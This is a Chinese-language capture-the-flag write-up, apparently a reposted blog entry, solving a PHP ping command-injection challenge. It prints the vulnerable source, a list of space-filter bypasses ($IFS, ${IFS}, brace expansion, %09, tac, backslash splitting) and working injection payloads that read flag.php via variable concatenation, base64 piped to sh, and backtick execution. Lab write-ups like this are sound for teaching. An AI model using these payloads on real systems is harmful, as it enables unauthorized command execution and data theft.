目錄
- PING命令執行漏洞-繞過空格
- 這邊介紹一下繞過空格的方法大概有以下幾種
- 方法一:用變數拼接:我們發現原始碼中有一個$a變數可以覆寫
- 方法二:過濾bash?那就用sh,sh的大部分腳本都可以在bash下運行
- 方法三:行內執行的做法
- 這邊介紹一下繞過空格的方法大概有以下幾種
PING命令執行漏洞-繞過空格
- 環境地址:http://4bd16c11-36e4-4f17-aa8a-6570b4def85f.node4.buuoj.cn/

- 我們看到
/?ip=可以試一下本地ip

看到這里我們就能知道命令執行方法大概就是加上管道符“|”或者“;”
-
我們列出目錄下面的檔案
/?ip=127.0.0.1;ls

我們發現有flag.php和index.php兩個檔案,嘗試讀取flag.php

發現空格被過濾了(fxck your space就是過濾空格的意思!)
這邊介紹一下繞過空格的方法大概有以下幾種
$IFS
${IFS}
$IFS$1 //$1改成$加其他數字貌似都行
$IFS$9 (Ubuntu下測驗通過)后面加個$與{}類似,起截斷作用,$9是當前系統shell行程第九個引數持有者,始終為空字串,如cat$IFS2$9flag.php
<
<>
{cat,flag.php} //用逗號實作了空格功能
%20
%09
ps:有時會禁用cat:
解決方法是使用tac反向輸出命令:
linux命令中可以加\,所以甚至可以ca\t /fl\ag
然后我們嘗試用 ${IFS} 繞過空格,發現{}被ban

然后我們在嘗試用 $IFS$1 繞過空格,發現flag被ban

接著我們嘗試讀取一下index.php的內容
/?ip=
PING 127.0.0.1 (127.0.0.1): 56 data bytes
/?ip=
|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
die("fxck your symbol!");
} else if(preg_match("/ /", $ip)){
die("fxck your space!");
} else if(preg_match("/bash/", $ip)){
die("fxck your bash!");
} else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
die("fxck your flag!");
}
$a = shell_exec("ping -c 4 ".$ip);
echo "
";
print_r($a);
}
?>
過濾了很多標點,空格,bash,flag,那么網上搜索有這幾種做法:
cat fl* 利用*匹配任意 不行
echo "Y2F0IGZsYWcucGhw"| base64 -d | bash 也不行
ca\t fl\ag.php 不行
cat fl''ag.php 不行
解決方法:
方法一:用變數拼接:我們發現原始碼中有一個$a變數可以覆寫
/?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php

方法二:過濾bash?那就用sh,sh的大部分腳本都可以在bash下運行
echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh
方法三:行內執行的做法
?ip=127.0.0.1;cat$IFS$9`ls`
行內,就是將反引號內命令的輸出作為輸入執行
參考連接:
https://www.jianshu.com/p/fd7f9fcc9333
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/288914.html
標籤:其他
上一篇:SQL注入-堆疊注入
